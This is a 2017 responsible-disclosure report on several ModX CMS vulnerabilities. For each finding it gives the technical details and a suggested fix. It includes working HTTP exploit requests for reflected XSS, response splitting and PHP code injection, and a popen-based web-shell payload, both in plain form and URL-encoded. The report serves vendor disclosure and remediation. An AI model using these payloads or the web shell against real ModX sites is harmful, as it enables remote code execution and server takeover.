ModX CMS

Responsible Disclosure

January 2017

Mazin Ahmed
Email: Mazin@MazinAhmed.net
Website: MazinAhmed.net
CV: MazinAhmed.net/cv
LinkedIn: https://Linkedin.com/in/infosecmazinahmed

Reflected XSS at [/setup/templates/findcore.php] in ModX - All Versions

(*Medium*)

Description

During a static-code analysis, I have identified a reflected XSS vulnerability at [/setup/templates/findcore.php]. This vulnerability affects all released versions since 2011.

Technical Details

This issue can be demonstrated by doing the following:

```
POST /setup/templates/findcore.php HTTP/1.1
Host: [VALUE]
User-Agent: [VALUE]
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: [VALUE]

core_path=%2F">x<img+src=x+onerror=alert(1)>%2F&findcore=Submit
```

The output of this HTTP request will contain the injected payload.

Proof of Concept

A better PoC is attached within the report.

Remedy

Line 83 [/setup/templates/findcore.php] should be changed.

From:

```
<input type="text" name="core_path" id="core_path" value="<?php echo $core_path ?>" size="80" maxlength="255" />
```

To:

```
<input type="text" name="core_path" id="core_path" value="<?php echo htmlspecialchars($core_path) ?>" size="80" maxlength="255" />
```

PHP-Code Injection -> Remote Code Execution at [/setup/templates/findcore.php]

(***High***)

Description

There is a vulnerability that can be exploited to gain Remote Code Execution when certain conditions are met. This vulnerability was identified when performing a static code analysis on ModX.

Technical Details

The call to rewrite the config file [/setup/includes/config.core.php] are not validated by no means. If an attacker managed to access /setup/index.php file, he/she will be able to escape the MODX_CORE_PATH, and inject arbitrary PHP code.

This will give an attacker a working remote code execution on the ModX server if there was an issue initially in defining the MODX_CORE_PATH.

Example Request:-

```
POST /setup/templates/findcore.php HTTP/1.1
Host: [VALUE]
User-Agent: [VALUE]
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: [VALUE]

core_path=1');phpinfo();//&findcore=Submit
```

phpinfo() will be executed on /setup/index.php

Proof of Concept

I have written a web-shell that I ensured that it will work on all modX vulnerable websites, and would not leave PHP-related errors when analyzing logs. I made sure that this would be possible by using the system function "popen", which is used by default on PHPMailer, if it's disabled, PHPMailer itself won't work.

Payload:

```
config');if (isset($_REQUEST['c']) && $_REQUEST['c']) {
$a=popen($_REQUEST['c'],'r');$b = fread($a,4096);echo
$b;pclose($a); }//
```

Executing system commands can be done via the following:
/setup/index.php?c=id

```
POST /setup/templates/findcore.php HTTP/1.1
Host: [VALUE]
User-Agent: [VALUE]
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: [VALUE]

core_path=%63%6f%6e%66%69%67%27%29%3b%69%66%20%28%69%73%73%65%7
4%28%24%5f%52%45%51%55%45%53%54%5b%27%63%27%5d%29%20%26%26%20%2
4%5f%52%45%51%55%45%53%54%5b%27%63%27%5d%29%20%7b%20%24%61%3d%7
0%6f%70%65%6e%28%24%5f%52%45%51%55%45%53%54%5b%27%63%27%5d%2c%2
7%72%27%29%3b%24%62%20%3d%20%66%72%65%61%64%28%24%61%2c%34%30%3
9%36%29%3b%65%63%68%6f%20%24%62%3b%70%63%6c%6f%73%65%28%24%61%2
9%3b%20%7d%2f%2f&findcore=Submit
```

Remedy

Add this line before line 12 on /setup/templates/findcore.php:

```
$core_path = str_replace(['{','}',"'",'"','\$'],'',$core_path);
```

PHP-Code Injection -> Remote Code Execution at [/setup/controllers/welcome.php]

(***High***)

Description

There is severe Remote Code Execution vulnerability that affects all version of ModX. The vulnerability can be exploited if the /setup directory is presented. This vulnerability was identified when performing a static code-analysis on ModX.

Technical Details

The vulnerability occurs because of the lack of validation and sanitizing when rewriting the config file, [/setup/includes/config.core.php]. As a result, an attacker can escape the MODX_CONFIG_KEY value to be able to inject arbitrary PHP code.

Proof of Concept

This issue can be reproduced by making an HTTP request as the following:

```
POST /setup/index.php?action=welcome HTTP/1.1
Host: [VALUE]
User-Agent: [VALUE]
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: PHPSESSID=[VALUE]
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: [VALUE]

config_key=config');phpinfo();//&proceed=1
```

phpinfo() will be executed on /setup/index.php

I have written a web-shell that I ensured that it will work on all modX vulnerable websites. I made sure that this would be possible by using a system function that is used by default on PHPMailer, if it's disabled PHPMailer itself won't work.

Payload

```
config');if (isset($_REQUEST['c']) && $_REQUEST['c']) {
$a=popen($_REQUEST['c'],'r');$b = fread($a,4096);echo
$b;pclose($a); }//
```

Executing system commands can be done via the following:
/setup/index.php?c=id

Issuing a request with a the advanced payload:

```
POST /setup/index.php?action=welcome HTTP/1.1
Host:[VALUE]
User-Agent: [VALUE]
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: PHPSESSID=[SESSION]
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: [VALUE]

config_key=%63%6f%6e%66%69%67%27%29%3b%69%66%20%28%69%73%73%65%
74%28%24%5f%52%45%51%55%45%53%54%5b%27%63%27%5d%29%20%26%26%20%
24%5f%52%45%51%55%45%53%54%5b%27%63%27%5d%29%20%7b%20%24%61%3d%
70%6f%70%65%6e%28%24%5f%52%45%51%55%45%53%54%5b%27%63%27%5d%2c%
27%72%27%29%3b%24%62%20%3d%20%66%72%65%61%64%28%24%61%2c%34%30%
39%36%29%3b%65%63%68%6f%20%24%62%3b%70%63%6c%6f%73%65%28%24%61%
29%3b%20%7d%2f%2f&proceed=1
```

Remedy

Add this line before line 19:

```
$_POST['config_key'] = str_replace(['{','}',"'",'"','\$'],'',$_POST['config_key']);
```

HTTP Response Splitting and Cookie-Bombing at [/setup/controllers/language.php] in ModX

(*Low*)

Description

There is minor bug discovered when doing a static code analysis on [/setup/index.php]. The bug is known as "Cookie-Bombing", where an attacker can control the filling of certain HTTP cookies in order to fill the cookie's quota and disallow users from accessing the application.

Also, HTTP Response Splitting Occurs when we are able to escape the HTTP header line, and be able to write a new line. As of PHP5, PHP has introduced a number of mitigation features that helps in protecting against HTTP response splitting, however, in certain cases, this issue can be exploitable.

In this particular situation, there doesn't seem to be an impact, so I'm marking the issue as "low".

Technical Details

The bug occurs at line 15 on [/setup/controllers/language.php]
`setcookie('modx_setup_language', $language, 0, $cookiePath . '/');`

Where the `$language` is `$_REQUEST['language']`.

in this point, any arbitrary value a user would input into $language variable, it would be reflected.

Cookie Bombing Example:-

```
POST /setup/ HTTP/1.1
Host: [VALUE]
User-Agent: [VALUE]
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: PHPSESSID=[VALUE]
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: [VALUE]

language=[2048 bytes of "A"]&proceed=Select

HTTP/1.1 302 Found
Date: [VALUE]
Expires: [VALUE]
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: modx_setup_language=[2048 bytes of "A"]; path=/
Location: http://[VALUE]/setup/index.php?action=welcome
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8
```

HTTP Response Splitting Example:-

```
POST /setup/ HTTP/1.1
Host: [VALUE]
User-Agent: [VALUE]
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: PHPSESSID=[VALUE]
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: [VALUE]

language=en%0d%aHello:%20World%0d%0a%0d%0a<script>alert(1)</scr
ipt>&proceed=Select
```

This should give a XSS PoC using HTTP Response Splitting on this particular situation.

Remedy

Add the a check of available languages, if the entered language not in the available languages, choose English instead.
This would prevent both the HTTP Response Splitting and Cookie Bombing bugs.

Reflected XSS on the Host header at [/setup/index.php] - All Versions

(*Low*)

Description

A reflected XSS was identified while performing a static-code analysis on [/setup/index.php].

Technical Details

There is a lack of sanitation when printing the HTTP Host header on the screen, as a result, an XSS vulnerability has been identified.

By sending an HTTP GET request to [/setup/index.php] with the Host header set to " ';alert`2`;' ", the Javascript redirection will be escaped, and a popup will be shown, proving the existence of the XSS vulnerability.

Proof of Concept

```
GET /setup/index.php HTTP/1.1
Host: ';alert`2`;'
User-Agent: [VALUE]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
```

```
HTTP/1.1 200 OK
Date: [VALUE]
Set-Cookie: PHPSESSID=[VALUE]; path=/
Expires: [VALUE]
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: [VALUE]
Connection: close
Content-Type: text/html; charset=UTF-8

<html><head><title>Loading...</title><script>window.location.href='http://';alert`2`;'/s
etup/index.php?s=set';</script></head><body></body></html>
```

However, the exploitation of the issue in real-world is quite difficult.

Remedy

Modify [/setup/index.php] as the following:
Line 67: `$installBaseUrl .= $_SERVER['SCRIPT_NAME'];`
Add this line: `$installBaseUrl = htmlspecialchars($installBaseUrl);`

RCE via MITM on ModX - All Versions

(***High***)

Description

There are multiple issues related to the way ModX handles updating and installation of addons that leads to Remote Code Execution.

Technical Details

When testing the process of updating ModX and installing packages, I have found multiple issues that occur when fetching and retrieving packages and data via external provider, official ModX provider which is installed, enabled, and used by default.

1- ModX accepts self-signed and invalid SSL certificates.

I have found that by supplying an invalid SSL certificate, the updating and installing process would work normally.

In my tests, I was able to test the replacement of amazonaws S3 SSL certificate, and provided a self-signed certificate. It worked normally without receiving errors.

2- ModX accepts uses a default provider "rest.modx.com", which works on plain HTTP.

The default ModX provider rest.modx.com works on plain HTTP, and the HTTPS version is not functioning.

The provider retrieves information about the packages and updates.

How can this be used?

Here we can perform MITM attack against users.

```
Admin --> ModX (data ceneter's network)--> rest.modx.com
```

If an attacker have access to the data center's network, he can launch MITM attacks and intercept requests and responses between rest.modx.com and ModX.

In addition to that, he/she can inject JavaScript, which will be shown to "Admin" as rest.modx.com output.

Proof of Concept:-

I have tested this issue, and wrote a number of BetterCap modules and JavaScript exploits that can be used in automating the process of exploiting the issue to gain RCE over ModX instances. The PoCs can be found in the attachments.

Steps to Reproduce:-

1- Admin access ModX admin panel
2- Admin navigates to ModX store.
3- An attacker that has access in the datacenter perform a MITM against the network.
4- The attacker uses the module provided.
5- Once the admin surfes the website, an attacker would gain access to the ModX instance, even if ModX instance is using strong SSL measures, since rest.modx.com is the host we are targeting, and the results will affect the ModX instance eventually.

Mazin Ahmed

Email: Mazin@MazinAhmed.net

Website: MazinAhmed.net

CV: MazinAhmed.net/cv

LinkedIn: https://Linkedin.com/in/infosecmazinahmed